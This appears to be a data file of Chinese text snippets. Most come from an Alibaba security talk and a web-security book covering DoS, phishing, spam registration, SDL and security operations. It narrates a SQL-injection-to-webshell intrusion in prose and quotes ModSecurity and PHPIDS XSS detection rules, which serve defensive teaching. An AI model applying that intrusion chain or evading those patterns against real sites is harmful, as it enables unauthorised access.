    {"text": "我05年加入阿里巴巴，先后负责阿里巴巴、支付宝、淘宝的安全评估工作，帮他们建立了应用安全体系，现在我主要在阿里云负责云计算安全、全集团的应用安全，以及全集团的反钓鱼、反欺诈工作。"},
    {"text": "淘宝、阿里巴巴、支付宝、阿里云、雅虎中国，这些网站也是从小网站成长起来的，我们曾经遇到过的问题，也是中小网站明天可能会遇到的问题，因为明天中小网站也必然成长为大网站。"},
    {"text": "当有一天我们的站长打开他的网站时发现站点已经打不开了，造成打不开的原因可能非常多，可能是硬件坏了、磁盘坏了，也有可能是IDC机房网络断了，当然也有可能是被拒绝服务攻击了，这完全是有可能发生的。 这是我们昨晚刚录的一段视频，这是我们自己的一个本地测试网站，我们使用一个工具测试，在两三秒之后，发现这个网站打不开了，把这个工具停掉，网站立马恢复正常。"},
    {"text": "这种攻击完全是有可能发生的，这个漏洞就是上个月即11月，在一个安全的权威大会上有两个国外的安全研究者所演示的Web Server层的漏洞，这和传统的拒绝服务攻击不一样，它工作在应用层，传统保护方案可能会失效。"},
    {"text": "它的攻击条件非常简单，刚才只用了一台PC就把网站打宕掉，我们事后曾经利用这个漏洞测试过一些朋友网站，发现威力非常强大，包括我们自己内网的办公系统，也是刚刚一把工具打开，网站马上宕掉。"},
    {"text": "这种威胁中小企业都面临着，我在03年也做过一个网站，做得非常大，后来不知道什么原因，有人拒绝服务攻击我的网站，之后这个网站再也没有打开过，我心灰意冷，就没有想再开起来。"},
    {"text": "在02、03年时，我们没有技术条件和环境解决这种问题，但是在今天，我们完全有可能解决，在安全性上叫可用性、业务连续性的问题，我们要让网站一直活着，不能让它打不开。"},
    {"text": "在前面陈波介绍他在弹性云计算里面有很多方案，包括安全域、分布式防火墙，弹性云的环境当中还有很多网络设备来保护网络层对抗拒绝服务攻击。 拒绝服务攻击分两种，第一种是前面陈波提到的，在网络层，传统的SYN flood等攻击，我们通过弹性云的很多方案已经保护得很好了。 另外一种是在Web Server层，在应用层，可能存在拒绝服务攻击，这是今天整个互联网都较为缺乏应对手段的攻击，但是我们部门已经解决掉了。 我们在Web Server层定制一些模块，对WebServer进行保护，我们通过分析网络连接、频率、地域、客户端信息，最终进行判断，哪个请求是坏的。"},
    {"text": "我跟很多资深黑客都聊过，他们有大概30%是靠运气才能够拿到一个系统权限，通过注入这个漏洞，找到了系统管理员这张表，然后找到用户名，现在正在破解密码。"},
    {"text": "这时候攻击者把16位的MD5值放在表上查，马上找到了对应的密码，然后登录进网站后台。 但是现在还没有完，在后台还有一个能够上传图片的功能，这里又有一个漏洞，这里没有对图片类型做验证，所以攻击者直接上传后门程序，现在他已经拿到了一个后门，可以为所欲为了。 可以浏览C盘目录，包括下载文件，攻击者上传一个页面，证明他入侵过，这就是一个漏洞引发的血案。"},
    {"text": "在这个列表上（是我昨天刚抓到的），列举了8月份到12月3号的很多大网站漏洞，很多大网站榜上有名，有网易、QQ、凤凰网，还有百度、新浪，所以说大网站也会出现漏洞，小网站也不可避免。"},
    {"text": "现在我所在的团队是国内非常专业的一支团队，圈子里的朋友可能都知道，我们团队里面招了很多各个安全领域的专家，有无线安全专家、客户端安全专家、网络安全专家、应用安全专家，我们这些人研究出很多方法来控制漏洞。"},
    {"text": "我们现在还定制了自己的安全扫描器，扫描了包括淘宝、B2B、支付宝在内的6000万网页，这是今天任何一个商用安全扫描器都做不到的，但是我们做到了。"},
    {"text": "这6000万页面是我们精选出来可能造成安全危害的页面，我们会在第一时间把扫描出来的漏洞通报给业务方，通报给应用，通报给程序员，我们会在第一时间掌控漏洞，我们要跑在黑客前面，要比黑客更早地发现漏洞所在。"},
    {"text": "当漏洞变成了风险时，我们的站长可能会担心杀毒软件突然弹出一个框说网站上面有木马，这件事情是非常令人头疼和讨厌的，给网站的声誉也带来非常大的影响。"},
    {"text": "互联网中有一个黑色产业链在不断谋求发展，不断在追寻利益，可能很多在座的朋友都看过，前些时候中央电视台报道过的黑色产业链——一条木马产业链，他们是怎样盈利的？"},
    {"text": "在网站上面攻击用户，包括大网站用户、中小网站用户，这条产业链的攻击目标是最终用户，而这些用户也是中小网站用户，是重合的，所以这就是他们利益的驱动所在。 我们很多站长想不明白，为什么这些黑客莫名其妙地跑到我们网站上来攻击我，这就是他们的利益点所在，因为每年有几十亿利益驱动在背后，所以会千方百计找流量，大网站攻不进去就找小网站，小网站也能给他们带来可观流量，导致他们最后获得丰厚收入。"},
    {"text": "挂马的问题令人非常头疼，我这里有两个数字：一个是10万，一个是10分钟，阿里巴巴集团有一套系统能够定时周期性检测这个网站是不是挂马。"},
    {"text": "另一种做法就是用类似虚拟机的做法，在虚拟机中用浏览器访问网页，然后在后台有一系列杀毒软件判断网页是不是挂马。 我们两者皆用，目前监控10万网页，这10万网页是我们精选出来的阿里巴巴、淘宝、支付宝可能存在挂马风险的网页。 10分钟是指我们能在10分钟之内，如果10万个网页当中某一个网页挂马，就能发出警报。"},
    {"text": "最让人头疼的是这些挂马很可能并不是我们自己网站出现漏洞，很有可能是我们的外部合作者，比如说广告，如果内容供应商页面里面挂马了，访问我们网站时，杀毒软件也会报警。"},
    {"text": "我还发现了另外一条产业链，一条比挂马产业链隐藏得更深、更可怕、更难抓到的产业链，这条产业链也有巨大利益在背后驱使，也是环环相扣，也有前后层级关系，但是在现在的媒体中报道的非常少。"},
    {"text": "现在我发现很多网站，包括大网站的很多邮箱、很多论坛应用都存在着大量垃圾注册用户，这些垃圾注册用户对网站自身并不会造成危害，但是对整个互联网会产生巨大的影响。"},
    {"text": "这些都是垃圾账号发出来的，没有人用自己的真实账号发，很多时候我们在网上碰到陌生人发一条消息，是广告或者反动言论，有的朋友心里可能非常反感，就会指责回去，其实对方只是一个机器人，你这样骂它是没有意义的，这都是垃圾注册惹的祸。"},
    {"text": "还有就是刷等级，可能存在一些用户行为，可以把低等级会员刷成高等级会员。 还有领红包，我们给团队一些推广费用，希望给用户回报，但是没有一个有效措施保障这些回报落到有效客户手里，大部分推广费用落到了垃圾注册的口袋，最终可能只有一个团伙在收钱。 另外垃圾流量也会消耗大量的流量和资源，侧面反映就是我们的经费、我们的钱、我们的服务器，每年会消耗成本，如果能够控制垃圾注册，也就能够降低我们的维护成本。"},
    {"text": "所以我们有一套专门的解决方案，通过用户行为分析，判断到底是人还是机器，这套系统的准确率已经达到99.999%，在10万个分析里面有一个误报，这是我们目前的现状。"},
    {"text": "我们通过分析这个人发消息的一些频率，包括他的来源是不是代理IP，我们建立了很大的代理IP库，抓全国、全世界代理IP，判断消息来源是否可信；"},
    {"text": "通过我们的努力，在前段时间，垃圾注册量有一个下降，这个具体数据比较敏感，不能放在这儿，红色的是正常用户，蓝色的是垃圾注册，我们发现有一个明显下降。"},
    {"text": "钓鱼在金融行业是重灾区，这个图显示有80%的钓鱼是针对金融行业的，钓鱼目标包括所有的提供支付的商家，也包括想要在金融平台提供服务的网站，这和中小站长有着密切的关系，如果你想给用户提供在线支付业务，就有可能成为钓鱼网站的目标。"},
    {"text": "这个图是中国反钓鱼联盟（下属于CNNIC的一个机构）出具的一个报表，在10月份淘宝钓鱼网站有2400多个，数据全是我们提供给他们的，在我看来，这个报表并不能说淘宝的钓鱼网站数最多，而是因为我们检测能力最强，强到什么程度，第一个数字5000万，我们现在每天检查5000万个URL，5秒之内如果有新的钓鱼网站出现，就会被我们的系统捕捉。 我们现在把钓鱼网站运营成本和周期，从最开始的1周压缩到1天，现在正在向1分钟迈进，也就是说，一个钓鱼网站以前能用1周，现在只能用1天了，用1天之后，这个网站马上失效，会在杀毒软件里失效，IDC机房会把服务器下线，域名也会关掉，我们正在向1分钟努力，现在已经有阶段性成果，这也是我们的下一阶段的目标。"},
    {"text": "我的职责就是终结麻烦，中小网站面临着各种各样的安全问题，面临着各种各样的麻烦——网站被DDOS，网站被入侵，数据被偷走，网站被挂马，杀毒软件报警，网站里垃圾消息满天飞。"},
    {"text": "我们最开始做安全时，也考虑过购买安全厂商的服务和产品，但是后来发现这些商用的安全服务和产品并不能跟上互联网的节奏，并不能为我们的需求实施定制化解决方案，我们最终选择自己来做。"},
    {"text": "根据美国国家漏洞数据库的数据显示，每年发现的漏洞趋势有以下特点：每年有数千个漏洞被发现，其中大多数漏洞的危害程度高，而复杂性却反而较低；"},
    {"text": "For-rester Research, Inc.和Aberdeen Group研究发现，如果公司采用像Microsoft SDL这样的结构化过程，就可以在相应的开发阶段系统地处理软件安全问题，因此更有可能在项目早期发现并修复漏洞，从而降低软件开发的总成本。"},
    {"text": "项目团队必须协商确定每个开发阶段的质量门（例如，必须在checkin代码之前进行review并修复所有的编译器警告），随后将质量门交由安全顾问审批，安全顾问可以根据需要添加特定于项目的说明，以及更加严格的安全要求。"},
    {"text": "这些评估必须包括以下信息： （1）（安全）项目的哪些部分在发布前需要威胁模型？ （2）（安全）项目的哪些部分在发布前需要进行安全设计评析？"},
    {"text": "减小攻击面通过减少攻击者利用潜在弱点或漏洞的机会来降低风险。 减小攻击面包括关闭或限制对系统服务的访问，应用“最小权限原则”，以及尽可能地进行分层防御。"},
    {"text": "阶段8：使用指定的工具 开发团队使用的编译器、链接器等相关工具，可能会涉及一些安全相关的环节，因此在使用工具的版本上，需要提前与安全团队进行沟通。"},
    {"text": "阶段10：静态分析 代码静态分析可以由相关工具辅助完成，其结果与人工分析相结合。 阶段11：动态程序分析 动态分析是静态分析的补充，用于测试环节验证程序的安全性。"},
    {"text": "阶段13：威胁模型和攻击面评析 项目经常会因为需求变更等因素导致最终的产出偏离原本设定的目标，因此在项目后期重新对威胁模型和攻击面进行评析是有必要的，能够及时发现问题并修正。"},
    {"text": "需求和功能可能一直在变化，代码可能也在发生变化，这要求在实施SDL时需要在每个阶段更新威胁模型和隐私策略，在必要的环节迭代模糊测试、代码安全分析等工作。"},
    {"text": "否则很容易出现项目快发布了，安全团队突然说还没有实施安全检查的情况。 这种情况只能导致两种结果：一是项目因为安全检查而延期发布，开发团队、测试团队的所有人都一起重新做安全检查； 二是项目顶着安全风险发布，之后再重新建个小项目专门修补安全问题，而在这段时间内产品只能处于“裸奔”状态。"},
    {"text": "如果根据以往发生的安全事件，回过头来看安全问题是如何产生的，则往往会发现这样一个现象：安全事件产生的原因并不复杂，但总是发生在大家疏忽的一些地方。"},
    {"text": "在实施SDL的过程中，技术方案的好坏往往不是最关键的，最糟糕的事情是SDL并没有覆盖到公司的全部项目，乃至一些边边角角的小项目发布后，安全团队都不知道，最后导致安全事件的发生。"},
    {"text": "在实施SDL的过程中，除了教育项目组成员（如项目经理、产品经理、开发人员、测试人员等）实施安全的好处外，安全部门还需要树立一定的权威。"},
    {"text": "开发规范涉及的方面比较广，比如函数名的大小写方式、注释的写法等都会涵盖。 笔者观察过很多开发团队的规范，其内容鲜有涉及安全的，少量有安全规范的，其内容也存在各种各样的问题。"},
    {"text": "在“准则四”中提到，需要将安全技术方案最大程度地写入代码规范等工作手册中，但同时让开发者有机会了解安全方案的背景也是很有意义的事情。"},
    {"text": "以上这六条准则，是笔者在互联网公司中实施SDL的一些经验与心得。 互联网公司对产品、用户体验的重视程度非常高，大多数的产品都要求在短时间内发布，因此在SDL的实施上有着自己的特色。"},
    {"text": "“安全功能”是指产品本身提供给用户的安全功能，比如数字证书、密码取回问题等功能。 而“安全的功能”，则指在产品具体功能的实现上要做到安全，不要出现漏洞而被黑客利用。 比如在“用户取回密码”时常用到的功能：安全问题，这个功能是一个安全功能；"},
    {"text": "#1: BUSINESS REQUIREMENTS Business Model What is the application's primary businesspurpose? How will the application make money? What are the planned business milestones fordeveloping or improving the application? How is the application marketed? What key benefits does the application offerusers? What business continuity provisions havebeen defined for the application? What geographic areas does the applicationservice? Data Essentials What data does the application receive, pro-duce, and process? How can the data be classified into categoriesaccording to its sensitivity? How might an attacker benefit from captur-ing or modifying the data? What data backup and retention require-ments have been defined for the application? End‐Users Who are the application's end‐users? How do the end‐users interact with the ap-plication? What security expectations do the end‐usershave? Partners Which third‐parties supply data to the ap-plication? Which third‐parties receive data from theapplications? Which third‐parties process the applica-tion's data? What mechanisms are used to share data withthird‐parties besides the application itself? What security requirements do the partnersimpose? Administrators Who has administrative capabilities in the ap-plication? What administrative capabilities does the ap-plication offer? Regulations In what industries does the application oper-ate? What security‐related regulations apply? What auditing and compliance regulationsapply? #2: INRASTRUCTURE REQUIREMENTS Network What details regarding routing, switching,firewalling, and load‐balancing have been de-fined? What network design supports the applica-tion? What core network devices support the appli-cation? What network performance requirements ex-ist? What private and public network links sup-port the application? Systems What operating systems support the applica-tion? What hardware requirements have been de-fined? What details regarding required OS compo-nents and lock‐down needs have been defined? Infrastructure Monitoring What network and system performance mon-itoring requirements have been defined? What mechanisms exist to detect maliciouscode or compromised application components? What network and system security monitor-ing requirements have been defined? Virtualization and Externalization What aspects of the application lend them-selves to virtualization? What virtualization requirements have beendefined for the application? What aspects of the product may or may notbe hosted via the cloud computing model? #3: APPLICATION REQUIREMENTS Environment What frameworks and programming lan-guages have been used to create the application? What process, code, or infrastructure depen-dencies have been defined for the application? What databases and application servers sup-port the application? Data Processing What data entry paths does the applicationsupport? What data output paths does the applicationsupport? How does data flow across the application'sinternal components? What data input validation requirementshave been defined? What data does the application store andhow? What data is or may need to be encrypted andwhat key management requirements have beendefined? What capabilities exist to detect the leakage ofsensitive data? What encryption requirements have been de-fined for data in transit over WAN and LAN links? Access What user identification and authenticationrequirements have been defined? What session management requirementshave been defined? What access requirements have been definedfor URI and Service calls? What user authorization requirements havebeen defined? How are user identities maintained through-out transaction calls? What user access restrictions have been de-fined? What user privilege levels does the applica-tion support? Application Monitoring What application performance monitoring re-quirements have been defined? What application security monitoring re-quirements have been defined? What application error handling and loggingrequirements have been defined? How are audit and debug logs accessed,stored, and secured? What application auditing requirements havebeen defined? Application Design How many logical tiers group the applica-tion's components? How is intermediate or in process data storedin the application components’ memory and incache? What application design review practiceshave been defined and executed? What staging, testing, and Quality Assurancerequirements have been defined? #4: SECURITY PROGRAM REQUIRE-MENTS Operations What access to system and network adminis-trators have to the application's sensitive data? What security incident requirements havebeen defined? What physical controls restrict access to theapplication's components and data? What is the process for granting access to theenvironment hosting the application? What is the process for identifying and ad-dressing vulnerabilities in network and systemcomponents? How do administrators access production in-frastructure to manage it? What is the process for identifying and ad-dressing vulnerabilities in the application? Change Management What mechanisms exist to detect violations ofchange management practices? How are changes to the infrastructure con-trolled? How are changes to the code controlled? How is code deployed to production? Software Development How do developers assist with troubleshoot-ing and debugging the application? What requirements have been defined forcontrolling access to the applications source code? What data is available to developers for test-ing? What secure coding processes have been es-tablished? Corporate Which personnel oversees security processesand requirements related to the application? What employee initiation and terminationprocedures have been defined? What controls exist to protect a compromisedin the corporate environment from affecting pro-duction? What security governance requirements havebeen defined? What security training do developers and ad-ministrators undergo? What application requirements impose theneed to enforce the principle of separation of du-ties? What corporate security program require-ments have been defined? 此外，在项目需求分析或设计阶段，应该了解项目中是否包含了一些第三方软件。"},
    {"text": "如果有，则需要认真评估这些第三方软件是否会存在安全问题。 很多时候，入侵是从第三方软件开始的。 如果评估后发现第三方软件存在风险，则应该替换它，或者使用其他方式来规避这种风险。"},
    {"text": "在需求分析与设计阶段，因为业务的多样性，一份checklist并不一定能覆盖到所有情况。 check-list并非万能的，在实际使用时，更多的要依靠安全工程师的经验做出判断。"},
    {"text": "依据“安全是为业务服务”这一指导思想，在需求层面，安全改变业务的地方较少，因此应当力求代码实现上的安全，也就是做到“安全的功能”。"},
    {"text": "ESAPI目前有针对多种不同Web语言的版本，其中又以Java版本最为完善。 OWASP ESAPI支持的语言 下面为Java版本ESAPI的Packages列表，从中可以了解ESAPI实现的功能。"},
    {"text": "为此我们在模板中实现了安全宏： XML编码输出，将会执行 XML Encode输出 #SXML($xml) JS编码输出，将会执行JavaScript Encode输出 #SJS($js) 又比如微软在面对同样问题时，为开发者提供了安全函数库： 微软提供的安全函数 这些写法需要开发者牢记，因此需要将其写入开发规范中。"},
    {"text": "代码自动化审计工具的另外一种思路是，找到所有可能的用户输入入口，然后跟踪变量的传递情况，看变量最后是否会走到危险函数（如eval()）。"},
    {"text": "这样就把复杂的“代码自动化审计”这一难题，转化为“代码是否符合开发规范”的问题。 而开发规范在编写时就可以写成易于审计的一种规范。"},
    {"text": "17.6 测试阶段 测试阶段是产品发布前的最后一个阶段，在此阶段需要对产品进行充分的安全测试，验证需求分析、设计阶段的安全功能是否符合预期目标，并验证在开发阶段发现的所有安全问题是否得到解决。"},
    {"text": "“安全测试”相对于“代码审计”而言，至少有两个好处：一是有一些代码逻辑较为复杂，通过代码审计难以发现所有问题，而通过安全测试可以将问题看得更清楚；"},
    {"text": "安全测试，一般分为自动化测试和手动测试两种方式。 自动化测试以覆盖性的测试为目的，可以通过“Web安全扫描器”对项目或产品进行漏洞扫描。"},
    {"text": "skipfish是Google使用的一款Web安全扫描器，Google开放了其源代码：Google的skipfish扫描结果页面 skipfish的性能非常优秀，由于其开放了源代码，且有Google的成功案例在前，因此对于想定制扫描器的安全团队来说，是一个二次开发的上佳选择。"},
    {"text": "扫描报告可能会存在误报与漏报，因此扫描报告需要经过安全工程师的最终确认。 确认后的扫描报告，结合手动测试的结果，最终形成一份安全测试报告。"},
    {"text": "SDL是建立在公司软件工程基础之上的，公司的软件工程实施越规范，SDL就越容易实施，反之则难度越大。 互联网公司不同于传统软件公司，它更注重产品的快捷与时效性，因此在产品开发的路线上大多选择敏捷开发，这也给SDL的实施带来了一定的难度。"},
    {"text": "因为安全是一个持续的过程（在“我的安全世界观”一章中已经强调过这个观点），我们永远无法保证在下一刻网络管理员是否会因为工作疏忽而把SSH端口开放到Internet，或者是某个小项目又逃过了安全检查私自发布上线了。"},
    {"text": "有的安全产品是商业产品，有的则是开源工具，甚至安全团队还需要自主研发一些安全工具，这些安全产品都会产生大量的日志，这些日志对于安全运营来说是非常有价值的。"},
    {"text": "但当公司规模大了以后，沟通成本随之上升，相应的漏洞修补速度会降低，而只靠沟通还可能会出现一些错漏，所以建立一个“漏洞修补流程”以保证漏洞修补的进度和质量是非常有必要的。"},
    {"text": "但这种问题不难解决，因为开发团队一般都会建立bug管理的平台，比如bugtracker等，只需要将安全漏洞作为bug提交到bugtracker中，就会成为开发团队的一个例行修补bug的工作，会按照计划完成。"},
    {"text": "一个bugtracker的截图 除此之外，常见的问题还有漏洞修补得不彻底，补丁发布后，被发现漏洞仍然可以利用，这种情况时有发生。 通常造成此问题的原因是，补丁的实现方案与代码未经安全部门检查，有时候也有可能是处理问题的安全工程师未能理解漏洞的本质，因此导致修补方案存在缺陷。 因此在制定补丁的方案时，首先应该由安全工程师对漏洞进行分析，然后再和开发团队一起制定技术方案，并由安全工程师review补丁的代码，最后才能发布上线。 对于“安全运营”的工作来说，建立漏洞修补流程，意味着需要完成这几件事情：（A）建立类似bugtracker的漏洞跟踪机制，并为漏洞的紧急程度选择优先级；"},
    {"text": "（C）对曾经出现的漏洞进行归档，并定期统计漏洞修补情况。 对存在过的漏洞进行归档，是公司安全经验的一种积累。 历年来曾经出现过的漏洞，是公司成长的宝贵财富。"},
    {"text": "在IDS这个大家族中，Web应用防火墙（简称WAF）又是近年来兴起的一种产品。 相对于传统的IDS来说，WAF专注于应用层攻击的检测和防御。 IDS、WAF等设备一般的布署方式是串联或并联在网络出口处，对网站的所有流量进行监控。"},
    {"text": "ModSecurity是Apache的一个Module，它能获取到所有访问Apache Httpd Server的请求，并根据自己的规则对这些请求进行匹配，以检测哪些请求存在攻击行为。 ModSecurity的架构图 ModSecurity的规则几乎囊括了所有的Web攻击行为，其核心规则由社区的安全专家维护。"},
    {"text": "…… SecRule REQUEST_COOKIES| REQUEST_COOKIES_NAMES|REQUEST_FILENAME| ARGS_NAMES|ARGS|XML:/* \"\\bonkeydown\\b\\W*?\\=\" \\ \"phase:2,rev:'2.2.2',capture,t:none,t:htmlEnt ityDecode,t:compressWhiteSpace,t:lo wercase,ctl:auditLogParts= +E,block,msg:'Cross-site Scripting (XSS) Attack',id:'958410',tag:'WEB_ATTACK/ XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/ WASC-22',tag :'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/ IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severi ty:'2',setvar:'tx.msg= %{rule.msg}',setvar:tx.xss_score=+ %{tx.critical_anomaly_score}, setvar:tx.anomaly_score=+ %{tx.critical_anomaly_score},setvar:tx. %{rule.id}-WEB_ATTACK /XSS-%{matched_var_name}=%{tx.0}\" SecRule REQUEST_COOKIES| REQUEST_COOKIES_NAMES|REQUEST_FILENAME| ARGS_NAMES|ARGS|XML:/* \"\\bonmousemove\\b\\W*?\\=\" \\ \"phase:2,rev:'2.2.2',capture,t:none,t:htmlEnt ityDecode,t:compressWhiteSpace,t:lo wercase,ctl:auditLogParts= +E,block,msg:'Cross-site Scripting (XSS) Attack',id:'958415',tag:'WEB_ATTACK/ XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/ WASC-22',tag :'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/ IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severi ty:'2',setvar:'tx.msg= %{rule.msg}',setvar:tx.xss_score=+ %{tx.critical_anomaly_score}, setvar:tx.anomaly_score=+ %{tx.critical_anomaly_score},setvar:tx. %{rule.id}-WEB_ATTACK /XSS-%{matched_var_name}=%{tx.0}\" SecRule REQUEST_COOKIES| REQUEST_COOKIES_NAMES|REQUEST_FILENAME| ARGS_NAMES|ARGS|XML:/* \"\\blivescript:\" \\ \"phase:2,rev:'2.2.2',capture,t:none,t:htmlEnt ityDecode,t:compressWhiteSpace,t:lo wercase,ctl:auditLogParts= +E,block,msg:'Cross-site Scripting (XSS) Attack',id:'958022',tag:'WEB_ATTACK/ XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/ WASC-22',tag :'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/ IE1',tag:'PCI/6.5.1',logdata:'%{TX.0}',severi ty:'2',setvar:'tx.msg= %{rule.msg}',setvar:tx.xss_score=+ %{tx.critical_anomaly_score}, setvar:tx.anomaly_score=+ %{tx.critical_anomaly_score},setvar:tx. %{rule.id}-WEB_ATTACK /XSS-%{matched_var_name}=%{tx.0}\" …… 另一个同样著名的开源WAF是PHPIDS。"},
    {"text": "require_once 'IDS/Init.php'; $request = array( 'REQUEST' => $_REQUEST, 'GET' => $_GET, 'POST' => $_POST, 'COOKIE' => $_COOKIE ); $init = IDS_Init::init('IDS/Config/ Config.ini'); $ids = new IDS_Monitor($request, $init); $result = $ids->run(); if (!$result->isEmpty()) { // Take a look at the result object echo $result; } PHPIDS的规则也非常完整，它是以正则的方式写在XML文件中的，比如以下规则： …… <filter> <id>15</id> <rule><![CDATA[([^*:\\s\\w,.\\/?+-]\\s*)?(?<![a- z]\\s)(?<![a-z\\/_@\\-\\|])(\\s*return\\s*)?(?: create(?:element|attribute|textnode)|[a- z]+events?|setattribute|getelement\\w+|appendc hild|createrange|createcontextualfragment| removenode|parentnode|decodeuricomponent|\\w ettimeout|option|useragent)(?(1)[^\\w%\"]|(?: \\s*[^@\\s\\w%\",.+\\-]))]]></rule> <description>Detects JavaScript DOM/ miscellaneous properties and methods</description> <tags> <tag>xss</tag> <tag>csrf</tag> <tag>id</tag> <tag>rfe</tag> </tags> <impact>6</impact> </filter> <filter> <id>16</id> <rule><![CDATA[([^*\\s\\w,.\\/?+-]\\s*)?(?<![a- mo-z]\\s)(?<![a-z\\/_@])(\\s*return\\s*)?(?:al ert|inputbox|showmodaldialog|showhelp| infinity|isnan|isnull|iterator|msgbox| executegl obal|expression|prompt|write(?:ln)?|confirm| dialog|urn|(?:un)?eval|exec|execscript|to string|status|execute|window|unescape| navigate|jquery|getscript|extend|prototype)(? (1 )[^\\w%\"]|(?:\\s*[^@\\s\\w%\",.:\\/+\\-]))]]></rule> <description>Detects possible includes and typical script methods</ description> <tags> <tag>xss</tag> <tag>csrf</tag> <tag>id</tag> <tag>rfe</tag> </tags> <impact>5</impact> </filter> …… 但是在实际使用IDS产品时，需要根据具体情况调整规则，避免误报。"},
    {"text": "入侵检测系统或其他安全监控产品的规则被触发时，根据攻击的严重程度，最终会产生“事件”（Event）或“报警”（Alert），报警是一种主动通知管理员的提醒方式。"},
    {"text": "（3）短信报警 随着手机的普及，短信报警也成为越来越重要的一种报警方式。 短信报警需要架设短信网关，或者采用互联网上提供的一些短信发送服务。"},
    {"text": "紧急响应流程是在发生紧急安全事件时，需要启动的一个用于快速处理事件的流程。 很多时候由于缺乏紧急响应流程，或者紧急响应流程执行不到位，使得一些本来可以快速平息的安全事件，最终造成巨大的损失。 建立紧急响应流程，首先要建立“紧急响应小组”，这个小组全权负责对紧急安全事件的处理、资源协调工作。"},
    {"text": "小组成员需要包括： 技术负责人 产品负责人 最了解技术架构的资深开发工程师 资深网络工程师 资深系统运维工程师 资深DBA 资深安全专家 监控工程师 公司公关 这个小组的主要工作是在第一时间弄清楚问题产生的原因，并协调相关的资源进行处理。"},
    {"text": "小组成员中包含公司公关，是因为遇到一些影响较大的安全事件时，需要公关发对外的新闻稿。 由于公关一般不太了解技术，因此公司公关对外发的新闻稿需要参考安全专家的意见，以免出现言辞不当的情况。"},
    {"text": "公司安全的发展蓝图可以分为“Find andFix”、“Defend and Defer”、“Secure at the Source”三个方向，每一个方向的最终结果都需要由“安全运营”来保证。"},
    {"text": "我一向认为互联网公司的安全做到极致后，是不太需要购买安全软件或解决方案的，因为一个大的互联网公司发展到一定程度后，其规模和复杂程度决定了世界上没有哪一家安全公司能够提供这样的解决方案，一切都得自力更生。"},
    {"text": "在过去的很长时间内，无论是漏洞挖掘者还是安全专家们，都在致力于研究各种各样的漏洞，以此为代表的是OWASP每隔几年就会公布的Top10威胁List。"},
    {"text": "所以在很长一段时间内，互联网公司的安全专家们，包括安全厂商的产品专家们，都在致力于做一件事情：不管是产品还是方案，尽可能地消灭这些漏洞。"},
    {"text": "因此，我把互联网公司安全的第一个目标，定义为：让工程师写出的每一行代码都是安全的！ 这第一个目标应该理解为互联网公司的产品安全。 一个以产品（包括网站、在线服务等，在互联网公司里在线服务也被称为产品）驱动的公司，要做安全，第一件事情必然是要保证核心业务的健康发展。"},
    {"text": "为了达到这个目标，微软有了SDL，基于对软件工程的改造，SDL可以帮助工程师编写出安全的代码。 微软的SDL达成了“让微软的工程师写出的大部分代码都是安全的”这一目标。"},
    {"text": "但是光有这个还无法100%保证不会出现安全问题，于是我定义了互联网公司安全的第二个目标：让所有已知的、未知的攻击，都能在第一时间发现，并迅速报警和追踪。"},
    {"text": "这第二个目标也挺宏伟的，涉及许多IDS、IPS、蜜罐方面的研究，但光有现有的这些技术，还是远远无法完成这个目标的，因为现在已有的商业的、开源的IDS及IPS都存在着种种局限性，而互联网公司的海量数据和复杂需求，也对这些现有产品提出了严峻的挑战。"},
    {"text": "光前面两个目标，就不知道需要投入多少人力、时间来努力，但我还有点不满足，所以我定义了第三个目标：让安全成为公司的核心竞争力，深入到每一个产品的特性中，能够更好地引导用户使用互联网的习惯。"},
    {"text": "我马上想到了肯德基和麦当劳，我不知道在它们之前是否还有别的速食品是把薯条和番茄酱配在一起销售的，但是我认为肯德基和麦当劳改变了人们吃薯条的习惯：是要蘸着番茄酱吃的。"},
    {"text": "所以，我认为做互联网公司安全需要达成的一个目标是让安全成为深深植入产品骨髓的一个功能和特性，引导用户使用互联网的习惯，把这个需求和市场做出来。"},
    {"text": "由于有前人的榜样，再借助大规模的客户端或者是强力搜索引擎的海量数据，要做这件事情的路线和方法还是非常清晰的，只是要想做好，还得花上很多的时间和精力。"},
    {"text": "而手机安全反过来也促进了一些新的安全技术，比如手机认证能够起到与客户端证书类似的作用，甚至比客户端证书更进一步，因为手机不是装在电脑上的，而是放在用户的裤兜里的。"},
    {"text": "在互联网公司做安全一定要有想象力，同时需要紧密关注其他技术领域的发展，这样就不会止步于几种漏洞的研究，而会发现有非常多的有趣的事情正等着去做，这是一个非常宏伟的蓝图。"},
    {"text": "Table of Contents 前言 序言 第1章 我的安全世界观 1.1 Web安全简史 1.1.1 中国黑客简史 1.1.2 黑客技术的发展历程 1.1.3 Web安全的兴起 1.2 黑帽子，白帽子 1.3 返璞归真，揭秘安全的本质 1.4 破除迷信，没有银弹 1.5 安全三要素 1.6 如何实施安全评估 1.6.1 资产等级划分 1.6.2 威胁分析 1.6.3 风险分析 1.6.4 设计安全方案 1.7 白帽子兵法 1.7.1 Secure By Default原则 1.7.1.1 黑名单、白名单 1.7.1.2 最小权限原则 1.7.2 纵深防御原则 1.7.3 数据与代码分离原则 1.7.4 不可预测性原则 1.8 小结 （附）谁来为漏洞买单？"},
    {"text": "未知 第7招 虚拟机网站平台 使用黑客工具不仅可攻击个人计算机还可攻击网站，当前动态网站服务器大多使用ASP（Active Server Page，动态服务器页面）、PHP（Hypertext PreProcessor，超文本预处理）两种网页语言。"},
    {"text": "1.虚拟机ASP网站平台 ASP是一种Web服务器端的开发环境，可以产生和执行动态的、交互的和高性能的Web服务应用程序。 使用ASP架设Web动态服务网络平台离不开微软公司开发的IIS程序，它在Windows 2000/XP/2003系统中作为一个系统组件存在。"},
    {"text": "（1）在虚拟机中配置IIS服务器 在IIS服务器附加完毕之后，往往还需要进行配置IIS服务器的操作。 为方便用户，在此介绍在虚拟机的Windows XP操作系统下配置IIS服务器的方法。"},
